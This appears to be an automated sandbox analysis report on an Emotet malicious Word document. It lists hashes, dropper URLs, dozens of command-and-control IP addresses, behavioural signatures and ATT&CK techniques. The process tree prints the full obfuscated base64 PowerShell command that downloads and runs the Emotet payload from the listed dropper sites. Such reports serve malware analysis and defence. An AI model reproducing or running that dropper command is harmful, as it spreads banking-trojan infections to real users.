emotet | cc5d6932ed3b1df3a0c1e9e05f2f7842e9ade984685a02c6ef5850816bf6a778

General

Target
emotet_e3_cc5d6932ed3b1df3a0c1e9e05f2f7842e9ade984685a02c6ef5850816bf6a778_2020-08-28__083310._doc.doc
Size 221KB
Sample200828-d5e8vy2v2s
SHA256 cc5d6932ed3b1df3a0c1e9e05f2f7842e9ade984685a02c6ef5850816bf6a778
MD5 eb84baada6d4a24148abf0c24f803161
SHA1 9df573bf23fc98c45d7061c3d7a8070e1c3fcde5
SHA512 0f4e450f4f233d2904973e051dd43f7c5d4eed7e2c3115ce102c2861e2a20091539c51c6fc3b5d369e9d6cac998477a85b2542f3047f102f4969ce516e9d35f4
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://thirumarantech.com/Vallivilas/attach/zhT/
exe.dropper
http://www.e-ido.com/Jacinta/UlsoWIDCQeCl/
exe.dropper
http://invoice.ae/cuhqw/
exe.dropper
https://www.infoquick.co.uk/repairs_demo/flhNywUb/
exe.dropper
http://iowawebhosting.com/wp-content/file/MJaXnuo/
exe.dropper
http://kittstr.com/crackerbox/attach/FIWw/
exe.dropper
http://jason.net.br/app/js/jquery/font-awesome-4.5.0/r635473/

Extracted

Family

emotet

C2

24.26.151.3:80
162.144.42.60:8080
134.209.193.138:443
68.183.233.80:8080
105.209.235.113:8080
198.57.203.63:8080
175.29.183.2:80
178.87.171.199:80
177.32.8.85:80
71.57.180.213:80
190.190.15.20:80
31.146.61.34:80
157.7.164.178:8081
82.239.200.118:80
220.254.198.228:443
41.185.29.128:8080
113.161.148.81:80
51.38.201.19:7080
179.5.118.12:80
66.61.94.36:80
87.106.231.60:8080
188.0.135.237:80
189.39.32.161:80
173.94.215.84:80
81.17.93.134:80
185.86.148.68:443
190.96.15.50:80
177.144.130.105:443
168.0.97.6:80
60.125.114.64:443
50.116.78.109:8080
190.53.144.120:80
37.205.9.252:7080
115.79.195.246:80
201.235.10.215:80
75.127.14.170:8080
181.126.54.234:80
172.96.190.154:8080
192.241.220.183:8080
190.164.75.175:80
81.214.253.80:443
139.99.157.213:8080
91.75.75.46:80
46.32.229.152:8080
37.187.100.220:7080
107.161.30.122:8080
157.245.138.101:7080
5.79.70.250:8080
185.142.236.163:443
118.101.24.148:80
103.80.51.61:8080
74.208.173.91:8080
178.33.167.120:8080
185.208.226.142:8080
143.95.101.72:8080
195.201.56.70:8080
46.105.131.68:8080
192.210.217.94:8080
37.46.129.215:8080
190.212.140.6:80
91.83.93.103:443
45.182.161.17:80
95.216.205.155:8080
202.5.47.71:80
88.249.181.198:443
197.232.36.108:80
1.54.67.22:80
86.98.143.163:80
77.74.78.80:443
172.105.78.244:8080
181.137.229.1:80
179.62.238.49:80
192.163.221.191:8080
177.94.227.143:80
203.153.216.178:7080
139.59.12.63:8080
115.78.11.155:80
2.144.244.204:443
197.221.158.162:80
162.249.220.190:80
85.25.207.108:8080
201.213.177.139:80
54.38.143.245:8080
181.113.229.139:443
188.251.213.180:443
190.55.186.229:80
113.203.250.121:443

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2672	3732	powersheLL.exe	73

Blacklisted process makes network request 2 IoCs

flow	pid	Process
14	2672	powersheLL.exe
16	2672	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3676	Bpvuyyev.exe
4044	TSpkg.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\msvcirt\TSpkg.exe	Bpvuyyev.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\LocalService\winhttp\cachev3.dat	svchost.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Modifies data under HKEY_USERS 5 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecision = "0"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionReason = "1"	svchost.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionTime = a241ac81167dd601	svchost.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
396	WINWORD.EXE
396	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2672	powersheLL.exe
2672	powersheLL.exe
2672	powersheLL.exe
4044	TSpkg.exe
4044	TSpkg.exe
4044	TSpkg.exe
4044	TSpkg.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3956	svchost.exe
Token: SeCreatePagefilePrivilege	3956	svchost.exe
Token: SeDebugPrivilege	2672	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
396	WINWORD.EXE
396	WINWORD.EXE
396	WINWORD.EXE
396	WINWORD.EXE
396	WINWORD.EXE
396	WINWORD.EXE
396	WINWORD.EXE
396	WINWORD.EXE
396	WINWORD.EXE
3676	Bpvuyyev.exe
3676	Bpvuyyev.exe
4044	TSpkg.exe
4044	TSpkg.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2672 wrote to memory of 3676	2672	powersheLL.exe	77
PID 2672 wrote to memory of 3676	2672	powersheLL.exe	77
PID 2672 wrote to memory of 3676	2672	powersheLL.exe	77
PID 3676 wrote to memory of 4044	3676	Bpvuyyev.exe	78
PID 3676 wrote to memory of 4044	3676	Bpvuyyev.exe	78
PID 3676 wrote to memory of 4044	3676	Bpvuyyev.exe	78

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_cc5d6932ed3b1df3a0c1e9e05f2f7842e9ade984685a02c6ef5850816bf6a778_2020-08-28__083310._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:396

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:3956

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABZAHQAbQBqAF8AaABsAD0AKAAnAEEAcQAnACsAKAAnAG4AOQBkACcAKwAnADUAcwAnACkAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUAbgB2ADoAVABFAG0AcABcAHcATwByAEQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQASQBSAGUAYwB0AG8AUgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYwBVAGAAUgBgAEkAYABUAFkAcABSAG8AVABPAGAAQwBvAEwAIgAgAD0AIAAoACgAJwB0AGwAcwAnACsAJwAxACcAKQArACcAMgAsACcAKwAnACAAJwArACgAJwB0AGwAcwAnACsAJwAxADEAJwArACcALAAnACkAKwAoACcAIAB0ACcAKwAnAGwAcwAnACkAKQA7ACQATgBqAHEAegBzAHkAOQAgAD0AIAAoACcAQgAnACsAJwBwACcAKwAoACcAdgB1AHkAJwArACcAeQBlAHYAJwApACkAOwAkAEIANwA1AHoAYgB5AHYAPQAoACgAJwBPACcAKwAnAF8AaAB4ACcAKwAnAGsAYgAnACkAKwAnAGEAJwApADsAJABGAGgAZQA2AHkAcABfAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAKAAnAEQAeABPAHcAbwAnACsAJwByACcAKwAnAGQARAB4AE8AMgAwADEAJwApACsAKAAnADkARAAnACsAJwB4ACcAKQArACcATwAnACkALgAiAFIAYABFAFAATABhAGMARQAiACgAKAAnAEQAJwArACcAeABPACcAKQAsACcAXAAnACkAKQArACQATgBqAHEAegBzAHkAOQArACgAJwAuACcAKwAoACcAZQAnACsAJwB4AGUAJwApACkAOwAkAEwANgBpAGMAYgBtADEAPQAoACcAVgB4ACcAKwAoACcAYwBjACcAKwAnAG8AOQAnACkAKwAnAGsAJwApADsAJABQAHYAcQA0ADIAMwB0AD0AJgAoACcAbgAnACsAJwBlAHcALQAnACsAJwBvAGIAagBlAGMAdAAnACkAIABuAEUAVAAuAFcARQBCAEMAbABJAGUAbgB0ADsAJABaAHcAcwBvAGQAZgAyAD0AKAAnAGgAdAAnACsAJwB0AHAAJwArACgAJwA6ACcAKwAnAC8ALwB0AGgAJwApACsAKAAnAGkAJwArACcAcgB1AG0AYQByAGEAbgB0AGUAJwArACcAYwAnACsAJwBoACcAKQArACgAJwAuACcAKwAnAGMAbwBtACcAKQArACcALwBWACcAKwAnAGEAJwArACgAJwBsAGwAJwArACcAaQB2AGkAbAAnACkAKwAoACcAYQAnACsAJwBzAC8AYQAnACkAKwAnAHQAJwArACgAJwB0AGEAJwArACcAYwBoAC8AegAnACkAKwAnAGgAJwArACgAJwBUAC8AKgBoAHQAdAAnACsAJwBwADoAJwApACsAJwAvACcAKwAoACcALwB3ACcAKwAnAHcAJwApACsAKAAnAHcAJwArACcALgBlAC0AJwApACsAKAAnAGkAZABvAC4AJwArACcAYwBvAG0AJwApACsAJwAvAEoAJwArACcAYQBjACcAKwAnAGkAJwArACcAbgAnACsAKAAnAHQAJwArACcAYQAnACsAJwAvAFUAbABzAG8AVwBJAEQAQwAnACsAJwBRAGUAQwBsACcAKwAnAC8AKgAnACkAKwAnAGgAdAAnACsAJwB0AHAAJwArACgAJwA6AC8ALwBpACcAKwAnAG4AJwArACcAdgBvAGkAYwAnACkAKwAoACcAZQAnACsAJwAuACcAKwAnAGEAZQAvAGMAdQBoAHEAdwAnACkAKwAoACcALwAqAGgAJwArACcAdAB0AHAAJwArACcAcwA6ACcAKQArACcALwAnACsAJwAvACcAKwAoACcAdwB3AHcAJwArACcALgAnACkAKwAoACcAaQBuAGYAbwBxAHUAJwArACcAaQAnACsAJwBjACcAKQArACcAawAuACcAKwAoACcAYwAnACsAJwBvAC4AdQBrAC8AcgBlACcAKwAnAHAAYQBpACcAKwAnAHIAJwApACsAJwBzACcAKwAnAF8AJwArACgAJwBkAGUAbQBvAC8AJwArACcAZgBsAGgAJwArACcATgAnACsAJwB5ACcAKwAnAHcAVQBiAC8AKgBoACcAKQArACgAJwB0AHQAcAA6AC8AJwArACcALwAnACsAJwBpAG8AJwApACsAJwB3AGEAJwArACgAJwB3AGUAYgAnACsAJwBoACcAKQArACcAbwAnACsAJwBzACcAKwAoACcAdABpAG4AJwArACcAZwAnACkAKwAnAC4AJwArACgAJwBjAG8AbQAnACsAJwAvACcAKQArACgAJwB3AHAALQAnACsAJwBjAG8AbgB0ACcAKQArACgAJwBlACcAKwAnAG4AJwArACcAdAAvACcAKwAnAGYAaQBsAGUALwAnACkAKwAoACcATQBKAGEAWAAnACsAJwBuACcAKwAnAHUAbwAvACcAKQArACgAJwAqACcAKwAnAGgAdAAnACsAJwB0AHAAOgAnACkAKwAoACcALwAnACsAJwAvAGsAJwApACsAKAAnAGkAdAAnACsAJwB0AHMAdAByAC4AYwBvACcAKQArACgAJwBtAC8AYwByAGEAYwAnACsAJwBrAGUAJwArACcAcgAnACkAKwAoACcAYgBvAHgAJwArACcALwBhAHQAdAAnACsAJwBhACcAKwAnAGMAaAAvACcAKQArACgAJwBGACcAKwAnAEkAVwB3ACcAKQArACgAJwAvACcAKwAnACoAaAB0AHQAJwArACcAcAAnACkAKwAoACcAOgAnACsAJwAvAC8AJwArACcAagBhAHMAbwAnACsAJwBuAC4AbgBlAHQALgBiAHIALwBhACcAKQArACcAcAAnACsAKAAnAHAALwBqACcAKwAnAHMAJwApACsAKAAnAC8AagBxAHUAJwArACcAZQByAHkALwBmACcAKwAnAG8AbgB0ACcAKwAnAC0AYQAnACsAJwB3AGUAJwApACsAKAAnAHMAJwArACcAbwAnACsAJwBtAGUALQA0AC4AJwApACsAKAAnADUAJwArACcALgAwACcAKQArACgAJwAvAHIAJwArACcANgAzADUANAAnACsAJwA3ACcAKQArACcAMwAvACcAKQAuACIAUwBQAGAAbABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABUAHgAOABsAHIAMAAwAD0AKAAnAFUAbQAnACsAKAAnAHUANgBsADAAJwArACcANAAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEcAdQBmADgAMgBfAHQAIABpAG4AIAAkAFoAdwBzAG8AZABmADIAKQB7AHQAcgB5AHsAJABQAHYAcQA0ADIAMwB0AC4AIgBEAG8AdwBgAE4AbABgAG8AYQBkAEYAYABJAEwARQAiACgAJABHAHUAZgA4ADIAXwB0ACwAIAAkAEYAaABlADYAeQBwAF8AKQA7ACQAUAB4AGgANQA4AHQAdgA9ACgAJwBFACcAKwAoACcAYwA2AHAAJwArACcAdgAnACkAKwAnAHMAaQAnACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQARgBoAGUANgB5AHAAXwApAC4AIgBMAGAAZQBOAGcAdABIACIAIAAtAGcAZQAgADMAMQA4ADYANQApACAAewAmACgAJwBJAG4AJwArACcAdgBvAGsAZQAtACcAKwAnAEkAdABlAG0AJwApACgAJABGAGgAZQA2AHkAcABfACkAOwAkAFUANwB4AGYAegBwAHIAPQAoACcATAAnACsAKAAnAGsAMQA0ACcAKwAnADYAJwApACsAJwByADcAJwApADsAYgByAGUAYQBrADsAJABTAHMAMwAyAHIAdABqAD0AKAAoACcARQBmACcAKwAnAHAAJwApACsAKAAnAGUAdQAnACsAJwBoAGsAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFkAZQBzAGQAZgBqADcAPQAoACgAJwBTADkAcQBpACcAKwAnADcAJwApACsAJwA5ACcAKwAnAGwAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2672
- C:\Users\Admin\AppData\Local\Temp\word\2019\Bpvuyyev.exe
  "C:\Users\Admin\AppData\Local\Temp\word\2019\Bpvuyyev.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3676
- - C:\Windows\SysWOW64\msvcirt\TSpkg.exe
    "C:\Windows\SysWOW64\msvcirt\TSpkg.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:4044

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/396-4-0x0000018AC834C000-0x0000018AC838F000-memory.dmp

Download

memory/396-2-0x0000018ACA246000-0x0000018ACA257000-memory.dmp

Download

memory/396-5-0x0000018ACA3D0000-0x0000018ACA3D5000-memory.dmp

Download

memory/396-6-0x0000018ACA3D0000-0x0000018ACA3D5000-memory.dmp

Download

memory/396-7-0x0000018ACA3D5000-0x0000018ACA3D7000-memory.dmp

Download

memory/396-1-0x0000018ACA246000-0x0000018ACA257000-memory.dmp

Download

memory/396-0-0x00007FFE02570000-0x00007FFE02C36000-memory.dmp

Download

memory/396-3-0x0000018ACA246000-0x0000018ACA257000-memory.dmp

Download

memory/2672-10-0x00000195F0B70000-0x00000195F0B71000-memory.dmp

Download

memory/2672-9-0x00000195D86C0000-0x00000195D86C1000-memory.dmp

Download

memory/2672-8-0x00007FFDFAB60000-0x00007FFDFB54C000-memory.dmp

Download

memory/3676-14-0x0000000000810000-0x000000000081C000-memory.dmp

Download

memory/4044-17-0x0000000002160000-0x000000000216C000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads